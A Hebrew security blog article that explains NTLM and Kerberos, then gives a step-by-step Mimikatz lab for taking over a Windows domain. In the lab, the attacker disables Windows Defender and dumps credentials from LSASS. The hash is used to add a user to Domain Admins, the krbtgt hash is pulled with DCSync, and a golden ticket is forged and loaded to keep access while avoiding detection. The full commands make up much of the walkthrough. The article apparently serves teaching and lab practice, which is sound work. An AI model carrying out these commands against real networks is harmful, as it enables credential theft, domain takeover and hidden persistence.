כל הזכויות שמורות לטל בן שושן – Shushan.co.il
ממשתמש למנהל הארגון בעזרת Mimikatz והסבר על Pass The Hash | Pass The ticket | Golden Ticket | Silver Ticket
במאמר זה נבצע כמה סוגי התקפות:
Pass The Hash
על מנת להבין את סט המתקפות האלו, קודם כל עלינו להבין NTLM קיצור של NT Lan Manager ה NTLM מספק הרשאות ברמת , אימות, שלמות המידע וסודיותו.
הNTLM משתמש ב2 טכניקות עיקריות:
* הוא שולח לשרת הודעת "אימות" בה הוא מציג אילו יכולות של התחברות יש לו (NTLM)
*הוא מאמת את המשתמש ומוודא שאכן זה הוא.
*המשתמש מאמת עצמו מול השרת ומקבל גישה
השיטה בה NTLM עובד, הוא לקחת את הרשאות המשתמש ולבצע לה One Way Function או בשמו השני SHA הוא הופך את ההרשאות של המשתמש ל Hash מסוג NTLM.
כל משתמש שמתחבר אל השרת ולא התנתק באופן מוחלט, ה Hash הזה, ה NTLM נשמר בתוך הרשת.
על ידי כך שניתן להוציא את ה Hashים האלו אנחנו יכולים להשתמש ב Hashים האלו על מנת לקבל הרשאות על המחשב של אותו המשתמש גם אם הוא Domain Admin ופי כמה הבעיה היא כאשר Domain Admin מחובר לאותו המחשב (ברקע).
הHash יכול להגיע מכמה מקורות:
- Cached Hash – הוא Hash אשר נשמר על השרת ממשתמש אשר מחובר ברקע (נאמר המשתמשת יעל מחוברת כעת אבל מקודם התחבר משתמש שהוא Domain Admin) או משתמש שהתחבר על ידי RDP, פרטים אלו יושבים על קובץ הSAM
- Local Admin SAM – קובץ ה SAM במחשב מכיל את הרשאות המנהל המקומי, כך ניתן לקבל הרשאות מנהל על ידי משתמש שאינו בהכרח המנהל.
- האזנה של Wireshark או כל Sniffer אחר, על ידי האזנה של NTLM "לחיצות ידיים" נוכל לנסות להשיג את ה NTLM שעובר ברשת ובכך להשיג הרשאה של משתמש.
- הוצאה של הרשאות משתמש מ Lsass.exe – ה Lsass.exe הוא קיצור של Local Security Authority Subsystem Service והוא תהליך של מייקרוסופט הרץ במחשב, אחריותו על אבטחת המחשב היא גדולה.
הוא אחראי להחיל את המדיניות של GPO ברמת האבטחה (סיסמאות וכו') הוא מאמת את הרשאות המשתמש, שינוי הסיסמא שלו ומייצר את ה Token.
בגלל שהתהליך אחראי על אבטחת המחשב הוא מכיל את הרשאות ה NTLM כך שתוקף יכול לנצל זאת ולנסות לבצע Hash Dump מתוך ה Lsass.exe (זאת אומרת מתוך הזיכרון של המחשב) הוא בנוסף מכיל את המשתמשים המחוברים למחשב ואת המשתמשים שהתחברו דרך RDP.
את ה Hash הזה ניתן להוציא על ידי מגוון תוכנות אבטחה אשר מבצעות HashDump ומוציאות את ה Hash של המשתמש.
על ידי אותו ה Hash נשתמש על מנת לקבל את "הרשאות" המשתמש ובכך לבצע Privilege Escalation
- Golden Ticket
על מנת להבין מתקפה זו, קראו קודם את הסבר על Kerberos בכל דומיין קיים המשתמש krbtgt משתמש זה מנוהל על ידי ה KDC.
אם קראתם את המאמר של Kerberos הבנתם כי ה KDC מעניק את ה Ticket למשתמש ולמעשה המשתמש יכול לגשת לכל שרת ללא ביצוע הזדהות שוב ושוב.
אתם בטח אומרים לעצמכם, מצויין, אז ניקח למשתמש את ה Ticket שלו ונוכל לגשת לכל השרתים של אותו המשתמש.
חשיבה יפה! אבל אנחנו רוצים גבוהה יותר, אנחנו רוצים לגנוב את ה Hash ה NTLM של ????? ה krbtgt כל שלמעשה נוכל ליצור לעצמנו TGT ולקבל את ההרשאות הגבוהות ביותר מבלי שאף אחד גם יודע.
משתמש ה krbtgt יושב ב Active Directory ב Container של Users.
אז מה הבעיה? ה krbtgt למעשה שוכן רק בתוך DC הלוא הוא ה Domain Controller , האם כאשר התוקף נמצא בתוך המחשב של הפקיד\פקידה הוא יכול להגיע לתוך ה DC? התשובה לא כל כך, ובמאמר זה נראה כיצד ניתן לבצע זאת.
על מנת להשיג היכולת ליצור Ticket "מזוייף" שניצור מTGT's עלינו להשיג הרשאות ל krbtgt:
- שם הדומיין בו אנו נמצאים
- ה SID של krbtgt
- ה NTLM Hash
ברגע שנשיג את הרשאות המשתמש krbtgt נוכל ליצור ticket של krbtgt שיכול להשיג הרשאות לכל משתמש בארגון (אם לא הבנתם קראו את המאמר שמסביר על kerberos) אם השגנו כזה "כרטיס" הוא תקף ל10 שנים ובעצם נוכל להשיג כל הרשאה לכל שרת ומחשב בדומיין מבלי שידעו אפילו ולכן זה נקרא Golden Ticket
- Pass The Ticket
כאשר השימוש של Golden Ticket הוא להשתמש בהרשאות של krbtgt בשביל לייצר Tickets ובכך לגשת לכל שרת\מחשב בארגון.
ה Pass the ticket זה היכולת להוציא את ה Ticket של משתמש (שתקף ל 10 שעות) ולהשתמש בו על מנת לקבל הרשאות של אותו המשתמש
ממש כמו שזה רשום להעביר את ה"כרטיס" אלינו של משתמש אחר
- Silver Ticket
הוא השגה של הרשאות של שירות או משתמש שרץ בתוך שירות, תארו לכם התוקף נכנס לשרת רגיל ואין לו הרשאות מיוחדות, הוא מבצע Hash Dump ומוציא את המשתמש SQLADMIN משתמש שהארגון יצר , הכניס לתוך הService , דוגמה
המשתמש הזה וההרשאות שלו רצות בתוך המכונה, ברגע שאשיג את ה Kerberos ticket של ה Administrator אוכל לקבל הרשאות גבוהות.
Privilege Escalation
כאשר תוקף מצליח להשתלט על המחשב על ידי Exploit או Backdoor או Trojanhorse הוא עדיין לא השיג שליטה על המערכת.
המטרה שלו היא לקבל את ההרשאות הגבוהות ביותר, אם זה בלינוקס אז Root ואם זה במייקרוסופט? אז הוא רוצה את Domain Admin ובכך יכול לקבל גישה לכלל משאבי הארגון.
הבעיה היא כאשר הוא שולח את אותו הMalware הוא נתקל בבעיה, לרוב מפעיל ה"רוגלה" זה הפקיד\פקידה ולא בהכרח משתמש אשר מנהל את הארגון או ה Domain Admin או כל משתמש עם הרשאות.
לכן, כאשר הוא מתחבר למשחב הוא מעוניין לבצע Privilege Escalation להשיג הרשאות גבוהות יותר מזה הוא נמצא כעת
בהרבה דרכים ניתן לבצע זאת, דרך Exploit או דרך Phishing ועוד.
אחד האמצעים הנפוצים זה על ידי Mimikatz ודומיו, בעצם להוציא את ה Hash Dump ולהשתמש בו על מנת לבצע את ה Privilege Escalation.
במאמר זה נבצע Privilege Escalation מסוג Pass The Hash וסוגיו שהסברתי קודם לכן.
Pass The Hash
דרישות:
- שרת DC שמוגדר בו ה Domain שלכם
- שרת או אותו שרת DC שמותקן בו Microsoft ATA (לא חובה, זה על מנת לקבל התראות על Pass The Hash
- מחשב PC1 אשר מצורף לדומיין Windows 10 ומותקן בו RSAT
תרחיש:
הפקיד\הפקידה ניגשו לתיבת האימייל שלהם והפעילו Trojanhorse, התוקף קיבל גישה מרוחקת למחשב
כעת התוקף מחובר עם ההרשאות של יעל, יעל יכולה להיות מצוות כוח האדם, כספים, עורכת דין של החברה וכו'
יעל ושאר חבריה למשרד הם מנהלים מקומיים זאת אומרת יש להם הרשאות Local Administrator.
בגלל שהמשתמש של יעל הוא עם הרשאות של מנהל מקומי, נבטל תחילה את ה Windows Defender ובכך נבטל את האנטי ווירוס
נכנס להגדרות המחשב
תחילה נוריד את Mimikatz
נחלץ את Mimikatz ונכנס לתיקייה X64
נפעיל ה cmd וניגש לנתיב שה Mimikatz יושב
cd c:\users\yael\downloads\mimikatz....
ברגע שאנחנו בתיקייה שבו mimikatz יושב נרשום mimikatz על מנת להיכנס אליו.
התרחיש כעת:
- המשתמשת Noy היא מנהלת הרשת והיא Domain Admins
- התוקף לא מחובר למשתמשת Noy אלא Yael אבל הוא מבחין כי Noy התחברה בעבר למחשב ועדיין מחוברת ברקע – יכול להיות גם שNoy התחברה ב RDP מרחוק למחשב זה על מנת להתקין בו תוכנה \ אפליקציה
- אני התחברתי עם המשתמשת Noy התנתקי ואז התחברתי עם יעל על מנת לדמות את התרחיש הזה
התוקף מחליט לנסות לקחת את ההרשאות של המשתמשת Noy
הוא מקיש
privilege::debug
על מנת לבדוק שיש לו הרשאות ולהחיל אותם כעת
כעת נקיש את
sekurlsa::logonpasswords
נרד למטה ונמצא שהמשתמשת Noy ה Hash שלה עדיין במערכת
נעתיק את 3 השורות האלו
כעת נפתח CMD עם ההרשאות של Noy על ידי שימוש ה Hash שלה
sekurlsa::pth /user:noy /domain:shushan.local /ntlm:4a1592e184db5885567.... /run cmd
אל תשכחו לשנות אצלכם לפי הפרמטרים
- user
- domain
- ntlm
כעת יפתח CMD עם ההרשאות של Noy ( ל Noy יש הרשאות של Domain Admins)
כעת נוסיף את Yael כמשתמשת החברה ב Domain Admins
net group "Domain Admins" yael /ADD /DOMAIN
כעת נבדוק שאכן הכל עבד כשורה, נבדוק את הקבוצה ב Domain Admins
מצויין יעל חברה שם
וכך השגנו הרשאות של Domain Admins על ידי Pass The Hash
Golden Ticket
על מנת להשיג Golden Ticket וליצור מצב בו אנחנו משתמשים לזמן קצר בהרשאות שהשגנו של יעל
זאת אומרת אם יש לנו כמה שעות או ימים עד שאנשי הסיסטם יבחינו כי יעל חברה בקבוצה Domain Admin ואינה שלה או יותר מכך קיימת מערכת Microsoft ATA או APT מכל סוג שהוא, והמערכת כבר התריעה עלינו, אנחנו רוצים להשיג Golden Ticket כמה שיותר מהם ולהסיר את ההרשאות של יעל ובכך להימנע מגילוי.
נקיש כעת
lsadump::dcsync /domain:shushan.local /user:krbtgt
זאת על מנת להשיג את ה Hash של krbtgt
נעתיק את ה Hash של ה krbtgt
כעת אנחנו רוצים ליצור כרטיס אשר משולב מהמשתמש administrator ומה krbtgt כך שכל פעם שנרצה להשתמש בו נוכל להנפיק Ticket חדש על ידי המשתמש krbtgt שכן יש לנו את ה Hash שלו
lsadump::dcsync /domain:shushan.local /user:administrator
כעת נעתיק את ה SID של administrator
ונקיש את הפקודה
kerberos::golden /krbtgt:ewf43r4fr34r345t4wefwert4 /admin:administrator /domain:shuhsan.local /sid:S-1-5-21-324432546543454564565-435435435-500 /ticket:administrator.ticket.bin
אל תשכחו לשנות את
- /krbtgt – ה NTLM של ה Hash
- /domain
- sid/ – לפי מה שהעתקתם קודם
ולחצו Enter
שימוש ב Golden Ticket
כעת נשתמש ב Golden Ticket, כאשר יצרנו את ה Golden Ticket שלנו, בכל פעם שנרצה להפעיל אותו, נוכל להשתמש בו כך:
כעת נסיר ליעל את ההרשאות Domain Admin , התנתקו מהשתמש שלה (וודאו שעשיתם את זה על מנת להמשיך במעבדה)
כעת התחברו שוב עם יעל
אין לה הרשאות להוסיף משתמשים ל Domain Admin
כעת
נקיש את הפקודה
kerberos::ptt ticket.kirbi
- ביצירה של ה Ticket נתנו את השם administrator.ticket.bin אז שנו את שם הכרטיס
מצויין כעת הTicket חל
Silver Ticket
זה הוצאת ה Hash מתוך שירות שרץ ברקע ברקע, הכוונה האמיתית ל Silver Tickets זה הוצאה של ה Service Ticket שקיבל השירות מ Kerberos
בכללי ניתן להשתמש בחשבון שרץ ברקע בדיוק כמו Pass The Hash
למשל שירות בשם OSSEC HIDS רץ ברקע
נשתמש בNTLM שלו
privilege::debug
sekurlsa::logonpasswords
sekurlsa::pth /user:noy /domain:shushan.local /ntlm:4a1592e184db5885567.... /run cmd
השירות היה Domain Admin ולכן השתמשנו בהרשאות שלו על מנת להוסיף את יעל ל Domain Admins